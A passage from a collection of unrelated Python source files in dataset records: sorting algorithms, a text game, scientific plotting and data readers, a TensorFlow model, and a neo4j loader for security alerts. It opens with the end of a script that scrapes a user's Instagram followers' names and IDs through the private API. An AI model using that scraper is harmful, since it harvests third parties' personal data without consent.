max=\"\"):\n params = {\n 'count': 100,\n 'search_surface': 'follow_list_page',\n 'max_id': str(max)\n }\n r = requests.get('https://i.instagram.com/api/v1/friendships/' +\n id + '/followers/', params=params, headers=my_headers)\n r = r.json()\n\n for x in r['users']:\n pk = x['pk']\n full_name = x['full_name']\n username = x['username']\n is_private = x['is_private']\n\n print('%s,%s,%s,%s' % (pk, full_name, username, is_private))\n global count\n count += 1\n\n if 'next_max_id' in r:\n list_friendships(id, r['next_max_id'])\n\n\nlist_friendships(main_user_id)\nprint(main_user_id, \"count:\", count)\n","sub_path":"list_friendships.py","file_name":"list_friendships.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"402935185","text":"import random\r\nfrom time import sleep\r\n\r\n\r\npossibleWeapons = ['pistol', 'stick', 'sword']\r\n\r\ndamage = 0 #This variable is for the fighting function \r\n\r\ndef NewDamage(damageTaken):\r\n global damage\r\n damage = damageTaken\r\n print('From function ' + str(damage))\r\n\r\ndef CheckForWep(Player):\r\n if Player.inventory['Weapon'] in possibleWeapons:\r\n print('Weapon has been found!')\r\n NewDamage(30)\r\n else:\r\n print('No weapon has been found!')\r\n NewDamage(20)\r\n\r\n \r\nclass Player:\r\n inventory = {'gold': 10, 'Weapon': 'stick'}\r\n\r\n def __init__(self, health=100):\r\n self.health = health\r\n\r\n\r\nclass Enemy:\r\n inventory = {}\r\n\r\n def __init__(self, health=100):\r\n self.health = health\r\n\r\n'''\r\nthug1 = Enemy()\r\nplayer1 = Player()\r\n'''\r\n\r\n\r\ndef fightTest(player, enemy):\r\n blockFate = ['Block successful', 'You have been hit']\r\n strike = ['You hit the enemy', 'The enemy has hit you']\r\n CheckForWep(player)\r\n print('You start fighting')\r\n \r\n while True:\r\n fate = random.choice(strike)\r\n print(\"Enter 'attack' to hit the enemy or 'block' to deflect the enemy\")\r\n attack = input()\r\n if attack == 'attack':\r\n print('You try to attack the enemy')\r\n print(fate)\r\n if fate == strike[0]:\r\n enemy.health -= damage\r\n print('Damage done ' + str(damage))\r\n sleep(1)\r\n print('Their health ' + str(enemy.health))\r\n elif fate == strike[1]:\r\n player.health -= damage\r\n print('Damage done ' + str(damage))\r\n sleep(1)\r\n print('Current health ' + str(player.health))\r\n elif attack == 'block':\r\n print('You attempt to block the enemies attack')\r\n fate1 = random.choice(blockFate)\r\n print(fate1)\r\n if fate1 == blockFate[0]:\r\n print('No damage done to you')\r\n elif fate1 == blockFate[1]:\r\n player.health -= damage\r\n print('Current health ' + str(player.health))\r\n if player.health < 0:\r\n print('You die')\r\n break\r\n print('Game over, thank you for playing!')\r\n if enemy.health < 0:\r\n print('Enemy dies')\r\n \r\n \r\n\r\n\r\n","sub_path":"newcombatsystem.py","file_name":"newcombatsystem.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"616537691","text":"\r\nfrom rocketcea.biprop_utils.rho_isp_plot_obj import RhoIspPlot\r\nfrom rocketcea.biprop_utils.veh_stage_obj import ReferenceStage\r\n\r\n#rp = RhoIspPlot(bipropL=[('LOX','LH2'),('N2O4','MMH')], nsteps_sg=119, nsteps_isp=119)\r\nrp = RhoIspPlot()\r\n\r\n\r\nstg_obj = ReferenceStage( WtPayload=10000.0 )\r\n\r\nrp.add_rho_isp_contours(label_frac_pos=0.2)\r\n\r\nrp.add_stage_param_contours( stg_obj, set_param='DeltaV', param_value=5000.0,\r\n plot_param_valD={'GLOW':[20000, 19000, 18000, 17000, 16000], \r\n 'MassFrac':[.65,.7,.75,.8,.85],\r\n 'CubicFt':[75,100,200,300,400]},\r\n label_frac_posD={'GLOW':0.9, 'CubicFt':.4},\r\n plot_paramL=['GLOW','CubicFt','MassFrac'], num_ticks=6)\r\n \r\nrp.savefig('rho_veh_1.png', dpi=120)\r\nrp.show()\r\n\r\n","sub_path":"lib/python2.7/site-packages/rocketcea/examples/rho_veh_1.py","file_name":"rho_veh_1.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"176565431","text":"# Copyright 2017 Regents of the University of Colorado. All Rights Reserved.\n# Released under the MIT license.\n# This software was developed at the University of Colorado's Laboratory for Atmospheric and Space Physics.\n# Verify current version before use at: https://github.com/MAVENSDC/Pydivide\n\nimport os\nimport datetime\nimport numpy as np\n\nimport pytplot\n\n\ndef read_sts_file(sts_file=None, read_only=False, prefix='', suffix=''):\n \"\"\"\n Read in a given filename in situ file into a dictionary object\n Optional keywords maybe used to downselect instruments returned\n and the time windows.\n\n Input:\n filename: str/list of str\n The file names and full paths of STS files to be read and parsed.\n read_only: boolean\n If True, just reads data into dict and returns the dict.\n If False, loads data into dict and loads data in the dict into tplot variables.\n prefix: str\n The tplot variable names will be given this prefix. By default,\n no prefix is added.\n suffix: str\n The tplot variable names will be given this suffix. By default,\n no suffix is added.\n Output:\n Either a dictionary (data structure) containing up to all of the columns included\n in a STS data file, or tplot variable names.\n \"\"\"\n\n # List of headers present in MAG STS file\n headers = ['year', 'doy', 'hour', 'min', 'sec', 'msec', 'dday', 'outboard_b_j2000_x',\n 'outboard_b_j2000_y', 'outboard_b_j2000_z', 'outboard_b_j2000_range', 'sc_posn_x', 'sc_posn_y',\n 'sc_posn_z', 'outboard_bd_payload_x', 'outboard_bd_payload_y', 'outboard_bd_payload_z',\n 'outboard_bd_payload_range']\n\n # Create a dictionary and list in which we'll store STS variable data and variable names, respectively\n sts_dict = {}\n stored_variables = []\n\n # Code assumes a list of STS files\n if isinstance(sts_file, str):\n sts_file = [sts_file]\n elif isinstance(sts_file, list):\n sts_file = sts_file\n else:\n print(\"Invalid filenames input.\")\n return stored_variables\n\n for s_file in sts_file:\n with open(s_file, 'r') as f:\n lines = f.readlines()\n\n # In STS files, the beginning of the data starts after the last time 'END_OBJECT' is found\n end_objects = [l for l, line in enumerate(lines) if 'END_OBJECT' in line]\n end_headers = end_objects[-1]\n data = lines[end_headers+1:]\n data = [d.strip().split() for d in data] # Remove extra spaces, then split on whitespaces\n\n # Create the STS dictionary\n for h, head in enumerate(headers):\n data_column = [d[h] for d in data[:10]]\n if head not in sts_dict:\n sts_dict[head] = data_column\n else:\n sts_dict[head].extend(data_column)\n\n # We need to create datetime objects from the sts_dict's year, doy, hour, min, sec, and msec data\n year = sts_dict['year']\n doy = sts_dict['doy']\n hour = sts_dict['hour']\n min = sts_dict['min']\n sec = sts_dict['sec']\n msec = sts_dict['msec']\n\n # First get year, month, and day\n dates = [datetime.datetime.strptime('{}+{}'.format(yr, dy), '%Y+%j') for yr, dy in zip(year, doy)]\n # Then add in the sts_dict's hour, min, sec, and msec data\n dtimes = [d.replace(hour=int(hr), minute=int(mn), second=int(s), microsecond=int(ms), tzinfo=datetime.timezone.utc)\n for d, hr, mn, s, ms in zip(dates, hour, min, sec, msec)]\n sts_dict['time_unix'] = dtimes\n\n # These keys are no longer necessary, nix them\n remove_time_keys = ['year', 'doy', 'hour', 'min', 'sec', 'msec']\n for key in remove_time_keys:\n try:\n sts_dict.pop(key)\n except KeyError:\n print('Key {} was not found'.format(key))\n\n # Don't create tplot vars if that's not what's desired\n if read_only:\n return sts_dict\n\n for key in sts_dict.keys():\n # create variable name\n obs_specific = prefix + key + suffix\n # if all values are NaN, continue\n if all(v is None for v in sts_dict[key]):\n continue\n # store data in tplot variable\n if key != 'time_unix':\n try:\n pytplot.store_data(\n obs_specific, data={'x': sts_dict['time_unix'], 'y': [np.float(val) for val in sts_dict[key]]})\n except ValueError:\n continue\n if obs_specific not in stored_variables:\n stored_variables.append(obs_specific)\n\n return stored_variables\n","sub_path":"pytplot/importers/sts_to_tplot.py","file_name":"sts_to_tplot.py","file_ext":"py","file_size_in_byte":4598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"271785053","text":"from __future__ import division, print_function\n\nimport MDAnalysis\nimport numpy as np\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\n\nfrom IPython import embed\n\nimport cPickle as pickle\n\nuniv = MDAnalysis.Universe('top.tpr', 'prot.gro')\nuniv.add_TopologyAttr('tempfactor')\n\n#rg = univ.residues[1:-1]\nrg = univ.residues\nag = rg.atoms\ncharges = np.abs(rg.atoms.charges)\n\nwidth = 0.01\nbb = np.arange(0,1+width,width)\nhist, bb = np.histogram(charges, bins=bb)\n\nplt.bar(bb[:-1], hist, width=width, align='edge')\nymax = 116\nxcoords = [0.15, 0.20, 0.25, 0.30, 0.35]\nfor xc in xcoords:\n plt.axvline(x=xc, ymax=ymax, linestyle='--', color='k')\nplt.ylim(0,ymax)\nplt.show()\n\nthresh = float(raw_input(\"choose charge threshold: \"))\n\ncharge_dict = {}\n\nfor res in rg:\n print(\"Residue: {}\".format(res.resname))\n chrge = 0\n charge_dict[res.resname] = {}\n #ag = res.atoms.select_atoms('not name H*')\n for atm in res.atoms:\n \n # Hydrophilic: -1; Hydrophobic: 0\n hydrophil = -1 if np.abs(atm.charge) > thresh else 1\n \n atm.tempfactor = hydrophil\n charge_dict[res.resname][atm.name] = hydrophil\n print(\" atm: {} hv: {} charge: {}\".format(atm.name, hydrophil, atm.charge))\n chrge += atm.charge\n \n print(\"charge: {}\".format(chrge))\n res.atoms.write(\"{}.pdb\".format(res.resname))\n\nwith open('charge_assign.pkl', 'w') as f:\n pickle.dump(charge_dict, f)","sub_path":"scratch/plot_charge_dist.py","file_name":"plot_charge_dist.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"436614945","text":"# auto create graph from given excel size(20 * 3)\r\n\r\nfrom py2neo import Graph, Node, Relationship, NodeMatcher\r\nimport xlrd\r\nimport numpy\r\n\r\n# data preparation\r\npath = 'E:/2. NaRi/1. My NaRi Projects/1. neo4j/alert2(1).bak.xlsx'\r\nworkbook = xlrd.open_workbook(path)\r\nData_sheet = workbook.sheets()[0] # 通过索引获取\r\nrowNum = Data_sheet.nrows # sheet行数\r\ncolNum = Data_sheet.ncols # sheet列数\r\n\r\n# 获取所有单元格的内容\r\nlist = []\r\nfor i in range(rowNum):\r\n rowlist = []\r\n for j in range(colNum):\r\n rowlist.append(Data_sheet.cell_value(i, j))\r\n list.append(rowlist)\r\narr = numpy.delete(list, 0, axis = 0) # delete first row\r\n\r\n\r\n\r\nfor i in range(19): # from row1 to row19\r\n # connection to db s6000-demo\r\n graph = Graph(\r\n \"http://localhost:7474\",\r\n username=\"neo4j\",\r\n password=\"1\"\r\n )\r\n tx = graph.begin()\r\n m = NodeMatcher(graph)\r\n\r\n # definition\r\n attacker_ip = arr[i][0]\r\n victim_ip = arr[i][1]\r\n log_index = i\r\n attack_type = arr[i][2]\r\n relation_attack_log = \"attack_related\"\r\n relation_victim_log = \"victim_related\"\r\n\r\n # check existing node\r\n check_result = graph.nodes.match(\"attacker\", IP = attacker_ip).first()\r\n if check_result == None:\r\n # create attacker node\r\n a = Node(\"attacker\", IP = attacker_ip)\r\n tx.create(a)\r\n print('check_result == None')\r\n else:\r\n _a = m.match(\"attacker\", IP = attacker_ip).first()\r\n a = graph.nodes[_a.identity]\r\n print('check_result != None')\r\n\r\n check_result = graph.nodes.match(\"victim\", IP = victim_ip).first()\r\n if check_result == None:\r\n # create victim node\r\n v = Node(\"victim\", IP = victim_ip)\r\n tx.create(v)\r\n print('check_result == None')\r\n else:\r\n _v = m.match(\"victim\", IP = victim_ip).first()\r\n v = graph.nodes[_v.identity]\r\n print('check_result != None')\r\n\r\n # create log node and relationship\r\n l = Node(\"warninglog\", LogIndex=log_index, ATTACKTYPE=attack_type)\r\n al = Relationship(a, relation_attack_log, l)\r\n tx.create(al)\r\n\r\n vl = Relationship(v, relation_victim_log, l)\r\n tx.create(vl)\r\n tx.commit() # this line of codes should be as ending code","sub_path":"s6000-demo.v2.py","file_name":"s6000-demo.v2.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"405006037","text":"import tensorflow as tf\nimport numpy as np\n\nfrom utils import utilities\nimport model\n\n\nclass LogisticRegression(model.Model):\n\n \"\"\"Simple Logistic Regression using TensorFlow.\n The interface of the class is sklearn-like.\n \"\"\"\n\n def __init__(self, main_dir='lr/', model_name='lr', loss_func='cross_entropy', dataset='mnist',\n learning_rate=0.01, verbose=0, num_epochs=10, batch_size=10):\n\n \"\"\"\n :param verbose: Level of verbosity. 0 - silent, 1 - print accuracy.\n \"\"\"\n model.Model.__init__(self, model_name, main_dir)\n\n self._initialize_training_parameters(loss_func, learning_rate, num_epochs, batch_size,\n dataset, None, None)\n\n self.verbose = verbose\n\n # Computational graph nodes\n self.input_data = None\n self.input_labels = None\n\n self.W_ = None\n self.b_ = None\n\n self.model_output = None\n\n self.accuracy = None\n\n def build_model(self, n_features, n_classes):\n\n \"\"\" Creates the computational graph.\n :param n_features: number of features\n :param n_classes: number of classes\n :return: self\n \"\"\"\n\n self._create_placeholders(n_features, n_classes)\n self._create_variables(n_features, n_classes)\n\n self.model_output = tf.nn.softmax(tf.matmul(self.input_data, self.W_) + self.b_)\n\n self._create_cost_function_node(self.loss_func, self.model_output, self.input_labels)\n self.train_step = tf.train.GradientDescentOptimizer(self.learning_rate).minimize(self.cost)\n self._create_test_node()\n\n def _create_placeholders(self, n_features, n_classes):\n\n \"\"\" Create the TensorFlow placeholders for the model.\n :param n_features: number of features\n :param n_classes: number of classes\n :return: self\n \"\"\"\n\n self.input_data = tf.placeholder(\"float\", [None, n_features], name='x-input')\n self.input_labels = tf.placeholder(\"float\", [None, n_classes], name='y-input')\n\n def _create_variables(self, n_features, n_classes):\n\n \"\"\" Create the TensorFlow variables for the model.\n :param n_features: number of features\n :param n_classes: number of classes\n :return: self\n \"\"\"\n\n self.W_ = tf.Variable(tf.zeros([n_features, n_classes]), name='weights')\n self.b_ = tf.Variable(tf.zeros([n_classes]), name='biases')\n\n def _create_test_node(self):\n\n \"\"\"\n :return:\n \"\"\"\n\n with tf.name_scope(\"test\"):\n correct_prediction = tf.equal(tf.argmax(self.model_output, 1), tf.argmax(self.input_labels, 1))\n self.accuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\"))\n _ = tf.scalar_summary('accuracy', self.accuracy)\n\n def fit(self, train_set, train_labels, validation_set=None, validation_labels=None, restore_previous_model=False):\n\n \"\"\" Fit the model to the data.\n :param train_set: Training data. shape(n_samples, n_features).\n :param train_labels: Labels for the data. shape(n_samples, n_classes).\n :param validation_set: optional, default None. Validation data. shape(n_validation_samples, n_features).\n :param validation_labels: optional, default None. Labels for the validation data. shape(n_validation_samples, n_classes).\n :param restore_previous_model:\n if true, a previous trained model\n with the same name of this model is restored from disk to continue training.\n :return: self\n \"\"\"\n\n with tf.Session() as self.tf_session:\n self._initialize_tf_utilities_and_ops(restore_previous_model)\n self._train_model(train_set, train_labels, validation_set, validation_labels)\n self.tf_saver.save(self.tf_session, self.models_dir + self.model_name)\n\n def _train_model(self, train_set, train_labels, validation_set, validation_labels):\n\n \"\"\" Train the model.\n :param train_set: training set\n :param train_labels: training labels\n :param validation_set: validation set\n :param validation_labels: validation labels\n :return: self\n \"\"\"\n\n for i in range(self.num_epochs):\n\n shuff = zip(train_set, train_labels)\n np.random.shuffle(shuff)\n\n batches = [_ for _ in utilities.gen_batches(zip(train_set, train_labels), self.batch_size)]\n\n for batch in batches:\n x_batch, y_batch = zip(*batch)\n self.tf_session.run(self.train_step, feed_dict={self.input_data: x_batch, self.input_labels: y_batch})\n\n if validation_set is not None:\n self._run_validation_error_and_summaries(i, validation_set, validation_labels)\n\n def _run_validation_error_and_summaries(self, epoch, validation_set, validation_labels):\n\n \"\"\" Run the summaries and error computation on the validation set.\n :param epoch: current epoch\n :param validation_set: validation set\n :param validation_labels: validation labels\n :return: self\n \"\"\"\n\n feed = {self.input_data: validation_set, self.input_labels: validation_labels}\n result = self.tf_session.run([self.tf_merged_summaries, self.accuracy], feed_dict=feed)\n summary_str = result[0]\n acc = result[1]\n\n self.tf_summary_writer.add_summary(summary_str, epoch)\n\n if self.verbose == 1:\n print(\"Accuracy at step %s: %s\" % (epoch, acc))\n\n def predict(self, test_set, test_labels):\n\n \"\"\" Compute the accuracy over the test set.\n :param test_set: Testing data. shape(n_test_samples, n_features).\n :param test_labels: Labels for the test data. shape(n_test_samples, n_classes).\n :return: accuracy\n \"\"\"\n\n with tf.Session() as self.tf_session:\n self.tf_saver.restore(self.tf_session, self.models_dir + self.model_name)\n return self.accuracy.eval({self.input_data: test_set, self.input_labels: test_labels})\n","sub_path":"GH_buggy_examples/DLT_20d1b59/models/logistic_regression.py","file_name":"logistic_regression.py","file_ext":"py","file_size_in_byte":6050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"340511101","text":"from setuptools import setup, find_packages\n\nwith open(\"README.md\") as f:\n long_description = f.read()\n\nsetup(\n name=\"bsplash\",\n version=\"0.01\",\n description=\"Utilities for creating bootsplash themes.\",\n long_description=long_description,\n author=\"Seiya Nuta\",\n author_email=\"nuta@seiya.me\",\n url=\"http://github.com/ntsy/bsplash\",\n scripts=[\"bsplash-create\", \"bsplash-install\", \"bsplash-enable\", \"bsplash-disable\", \"bsplash-fix-grub-config\"],\n install_requires=[\"pillow\"],\n classifiers = [\n \"Development Status :: 4 - Beta\",\n \"Environment :: Console\",\n \"License :: OSI Approved :: BSD License\",\n \"Operating System :: POSIX :: BSD :: FreeBSD\",\n \"Topic :: Utilities\"\n ]\n)\n\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"360084943","text":"class Solution:\n def findMedianSortedArrays(self, nums1: List[int], nums2: List[int]) -> float:\n n1, n2 = len(nums1), len(nums2)\n if n1 > n2:\n return self.findMedianSortedArrays(nums2, nums1)\n\n k = (n1 + n2 + 1) // 2\n\n start, end = 0, n1\n while start < end:\n m1 = start + (end - start) // 2\n m2 = k - m1\n if nums1[m1] < nums2[m2 - 1]:\n start = m1 + 1\n else:\n end = m1\n\n m1 = end\n m2 = k - end\n\n c1 = max(float('-inf') if m1 <= 0 else nums1[m1 - 1],\n float('-inf') if m2 <= 0 else nums2[m2 - 1])\n\n if (n1 + n2) % 2 == 1:\n return c1\n c2 = min(float('inf') if m1 >= n1 else nums1[m1],\n float('inf') if m2 >= n2 else nums2[m2])\n\n return (c1 + c2) / 2\n\nclass Solution:\n def findMedianSortedArrays(self, nums1: List[int], nums2: List[int]) -> float:\n m, n = len(nums1), len(nums2)\n left_idx, right_idx = (m + n + 1) // 2, (m + n + 2) // 2\n left_val = self.find_kth(nums1, 0, nums2, 0, left_idx)\n right_val = self.find_kth(nums1, 0, nums2, 0, right_idx)\n return (left_val + right_val) / 2\n\n def find_kth(self, nums1, idx1, nums2, idx2, k):\n if idx1 >= len(nums1):\n return nums2[idx2 + k - 1]\n if idx2 >= len(nums2):\n return nums1[idx1 + k - 1]\n if k == 1:\n return min(nums1[idx1], nums2[idx2])\n val1 = idx1 + k // 2 - 1 if idx1 < len(nums1) else float('-inf')\n val2 = idx2 + k // 2 - 1 if idx2 < len(nums2) else float('-inf')\n if val1 < val2:\n return self.find_kth(nums1, idx1 + k // 2, nums2, idx2, k - k // 2)\n else:\n return self.find_kth(nums1, idx1, nums2, idx2 + k // 2, k - k // 2)\n\n\nclass Solution:\n def findMedianSortedArrays(self, nums1: 'List[int]', nums2: 'List[int]') -> 'float':\n size = len(nums1) + len(nums2)\n smaller = self.find_kth(nums1, nums2, (size + 1) // 2)\n bigger = self.find_kth(nums1, nums2, (size + 2) // 2)\n return (smaller + bigger) / 2\n\n def find_kth(self, nums1, nums2, k):\n if len(nums1) == 0:\n return nums2[k - 1]\n if len(nums2) == 0:\n return nums1[k - 1]\n if k == 1:\n return min(nums1[0], nums2[0])\n v1 = nums1[k // 2 - 1] if k // 2 - 1 < len(nums1) else float('inf')\n v2 = nums2[k // 2 - 1] if k // 2 - 1 < len(nums2) else float('inf')\n if v1 < v2:\n return self.find_kth(nums1[k // 2: ], nums2, k - k // 2)\n else:\n return self.find_kth(nums1, nums2[k // 2: ], k - k // 2)\n","sub_path":"python/4. Median of Two Sorted Arrays.py","file_name":"4. Median of Two Sorted Arrays.py","file_ext":"py","file_size_in_byte":2689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"521505280","text":"import csv\nimport numpy as np\n\nfrom django.core.management.base import BaseCommand, CommandError\n\nfrom backend.db_management import load_unlabeled_sentences\nfrom backend.extraction_pipeline import path_quote_detection_weights, path_author_attribution_weights, \\\n author_prediction_poly_degree, quote_detection_poly_degree\nfrom backend.helpers import change_confidence\nfrom backend.ml.author_prediction import evaluate_author_prediction_test\nfrom backend.ml.helpers import save_model\nfrom backend.ml.quote_detection import train_quote_detection, evaluate_unlabeled_sentences\nfrom backend.xml_parsing.helpers import load_nlp\n\n\ndef form_sentence(nlp, tokens):\n \"\"\" \"\"\"\n sentence = ''.join(tokens)\n doc = nlp(sentence)\n return doc\n\n\nclass Command(BaseCommand):\n help = 'Trains the model with all fully annotated articles.'\n\n def add_arguments(self, parser):\n parser.add_argument('--epochs', type=int, help='Max number of epochs to train for. Default: 500', default=500)\n\n parser.add_argument('--qd_loss', help='The loss to use for quote detection. Default: log',\n choices=['log', 'hinge'], default='log')\n parser.add_argument('--qd_penalty', help='The penalty to use for quote detection. Default: l2',\n choices=['l1', 'l2'], default='l2')\n parser.add_argument('--qd_reg', type=float, help='Reg to use for quote detection. Default: 0.01',\n default=0.01)\n\n parser.add_argument('--ap_loss', help='The loss to use for author prediction. Default: hinge',\n choices=['log', 'hinge'], default='hinge')\n parser.add_argument('--ap_penalty', help='The penalty to use for author prediction. Default: l1',\n choices=['l1', 'l2'], default='l1')\n parser.add_argument('--ap_reg', type=float, help='Reg to use for author prediction. Default: 0.01',\n default=0.01)\n\n def handle(self, *args, **options):\n max_epochs = options['epochs']\n qd_loss = options['qd_loss']\n qd_penalty = options['qd_penalty']\n qd_alpha = options['qd_reg']\n\n ap_loss = options['ap_loss']\n ap_penalty = options['ap_penalty']\n ap_alpha = options['ap_reg']\n\n try:\n print('\\nLoading language model...\\n')\n nlp = load_nlp()\n with open('data/cue_verbs.csv', 'r') as f:\n reader = csv.reader(f)\n cue_verbs = set(list(reader)[0])\n\n print('Training quote detection...')\n qd_ed = quote_detection_poly_degree\n qd_trained_model = train_quote_detection(qd_loss, qd_penalty, qd_alpha, max_epochs, nlp, cue_verbs, qd_ed)\n save_model(qd_trained_model, path_quote_detection_weights)\n print(f'Saved trained model at {path_quote_detection_weights}\\n')\n\n print(\"Training author prediction...\")\n ap_ed = author_prediction_poly_degree\n ap_trained_model, _, _, _, _, _ =\\\n evaluate_author_prediction_test(ap_loss, ap_penalty, ap_alpha, max_epochs, nlp, cue_verbs, ap_ed)\n save_model(ap_trained_model, path_author_attribution_weights)\n print(f'Saved trained model at {path_quote_detection_weights}\\n')\n\n print('Evaluating all unlabeled quotes...')\n proba = qd_loss == 'log'\n articles, sentences, in_quotes = load_unlabeled_sentences(nlp)\n max_hinge_value = 0.00001\n confidences = []\n predictions = []\n for article, article_sentences, article_in_quotes in zip(articles, sentences, in_quotes):\n probabilities = evaluate_unlabeled_sentences(qd_trained_model, article_sentences, cue_verbs,\n article_in_quotes, proba=proba)\n if proba:\n # Map the probability that a sentence is a quote to a confidence:\n # * probability is 0.5: model has no clue, confidence 0\n # * probability is 0 or 1: model knows, confidence 1\n confidence = [2 * abs(0.5 - prob) for prob in probabilities]\n confidences.append(confidence)\n prediction = [round(prob) for prob in probabilities]\n predictions.append(prediction)\n else:\n # When using hinge loss, the confidence is the distance to the seperating hyperplane\n # Take the log to reduce the effect of very large values\n confidence = [np.log(abs(prob)) for prob in probabilities]\n confidences.append(confidence)\n prediction = [int(prob > 0) for prob in probabilities]\n predictions.append(prediction)\n max_hinge_value = max(max_hinge_value, max(confidence))\n\n for article, confidence, prediction in zip(articles, confidences, predictions):\n if not proba:\n confidence = [conf/max_hinge_value for conf in confidence]\n # For sentences in the article that are fully labeled, the confidence is 1\n new_confidences = [max(label, conf) for label, conf in zip(article.labeled['labeled'], confidence)]\n change_confidence(article.id, new_confidences, prediction)\n\n print('Done\\n')\n\n except IOError:\n raise\n raise CommandError('IO Error.')\n","sub_path":"activelearning/backend/management/commands/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"368296255","text":"from random import randint\r\n\r\nlist = []\r\n\r\n# Input range of list\r\nn = int(input(\"Range: \"))\r\n\r\n# random each item in list\r\nfor i in range(n):\r\n\tlist.append(randint(1, 100))\r\n\r\nprint(\"\\nBefore: {}\\n\".format(list))\r\n\r\ndef selection_sort(list):\r\n\tfor i in range(len(list)):\r\n\t\tsmallest = i\r\n\t\tfor j in range(i+1, len(list)):\r\n\t\t\tif list[j] < list[smallest]:\r\n\t\t\t\tsmallest = j\r\n\t\tlist[smallest], list[i] = list[i], list[smallest]\r\n\treturn list\r\n\r\ndef insertion_sort(list):\r\n\tfor i in range(1, len(list)):\r\n\t\tj = i\r\n\t\twhile j > 0 and list[j-1] > list[j]:\r\n\t\t\tlist[j-1], list[j] = list[j], list[j-1]\r\n\t\t\tj -= 1\r\n\treturn list\r\n\r\ndef bubble_sort(list):\r\n\tflag = True\r\n\tlength = len(list)\r\n\twhile flag:\r\n\t\tflag = False\r\n\t\tfor i in range(1, length):\r\n\t\t\tif list[i-1] > list[i]:\r\n\t\t\t\tflag = True\r\n\t\t\t\tlist[i-1], list[i] = list[i], list[i-1]\r\n\t\tlength -= 1\r\n\treturn list\r\n\r\ndef merge(left, right):\r\n result = []\r\n i, j = 0, 0\r\n while i < len(left) and j < len(right):\r\n if left[i] <= right[j]:\r\n result.append(left[i])\r\n i += 1\r\n else:\r\n result.append(right[j])\r\n j += 1\r\n result += left[i:]\r\n result += right[j:]\r\n return result\r\n\r\ndef merge_sort(list):\r\n if len(list) < 2:\r\n return list\r\n mid = len(list) // 2\r\n left = merge_sort(list[:mid])\r\n right = merge_sort(list[mid:])\r\n return merge(left, right)\r\n\r\ndef quicksort(list):\r\n\tless = []\r\n\tequal = []\r\n\tgreater = []\r\n\tif len(list) > 1:\r\n\t\tpivot = list[0]\r\n\t\tfor item in list:\r\n\t\t\tif item < pivot:\r\n\t\t\t\tless.append(item)\r\n\t\t\telif item == pivot:\r\n\t\t\t\tequal.append(item)\r\n\t\t\telif item > pivot:\r\n\t\t\t\tgreater.append(item)\r\n\t\treturn quicksort(less) + equal + quicksort(greater)\r\n\telse:\r\n\t\treturn list\r\n\r\n\r\nprint(\"Selection Sort -> Enter 1\")\r\nprint(\"Insertion Sort -> Enter 2\")\r\nprint(\"Bubble Sort -> Enter 3\")\r\nprint(\"Merge Sort -> Enter 4\")\r\nprint(\"Quick Sort -> Enter 5\\n\")\r\n\r\ntry:\r\n\tinput = int(input(\"> \"))\r\nexcept ValueError:\r\n\tprint(\"Please enter a number...\")\r\nfinally:\r\n\tif input == 1:\r\n\t\tprint(selection_sort(list))\r\n\telif input == 2:\r\n\t\tprint(insertion_sort(list))\r\n\telif input == 3:\r\n\t\tprint(bubble_sort(list))\r\n\telif input == 4:\r\n\t\tprint(merge_sort(list))\r\n\telif input == 5:\r\n\t\tprint(quicksort(list))\r\n","sub_path":"lab2/bai1.py","file_name":"bai1.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"512560627","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.5 (3351)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/pynestml/codegeneration/pynestml_2_nest_type_converter.py\n# Compiled at: 2020-03-05 05:49:41\n# Size of source mod 2**32: 2667 bytes\nfrom pynestml.symbols.type_symbol import TypeSymbol\nfrom pynestml.symbols.real_type_symbol import RealTypeSymbol\nfrom pynestml.symbols.boolean_type_symbol import BooleanTypeSymbol\nfrom pynestml.symbols.integer_type_symbol import IntegerTypeSymbol\nfrom pynestml.symbols.string_type_symbol import StringTypeSymbol\nfrom pynestml.symbols.void_type_symbol import VoidTypeSymbol\nfrom pynestml.symbols.unit_type_symbol import UnitTypeSymbol\nfrom pynestml.symbols.nest_time_type_symbol import NESTTimeTypeSymbol\nfrom pynestml.symbols.error_type_symbol import ErrorTypeSymbol\n\nclass PyNestml2NestTypeConverter(object):\n __doc__ = '\\n This class contains a single operation as used to convert nestml types to nest centerpieces.\\n '\n\n @classmethod\n def convert(cls, type_symbol):\n \"\"\"\n Converts the name of the type symbol to a corresponding nest representation.\n :param type_symbol: a single type symbol\n :type type_symbol: TypeSymbol\n :return: the corresponding string representation.\n :rtype: str\n \"\"\"\n assert isinstance(type_symbol, TypeSymbol)\n if type_symbol.is_buffer:\n return 'nest::RingBuffer'\n if isinstance(type_symbol, RealTypeSymbol):\n return 'double'\n if isinstance(type_symbol, BooleanTypeSymbol):\n return 'bool'\n if isinstance(type_symbol, IntegerTypeSymbol):\n return 'long'\n if isinstance(type_symbol, StringTypeSymbol):\n return 'std::string'\n if isinstance(type_symbol, VoidTypeSymbol):\n return 'void'\n if isinstance(type_symbol, UnitTypeSymbol):\n return 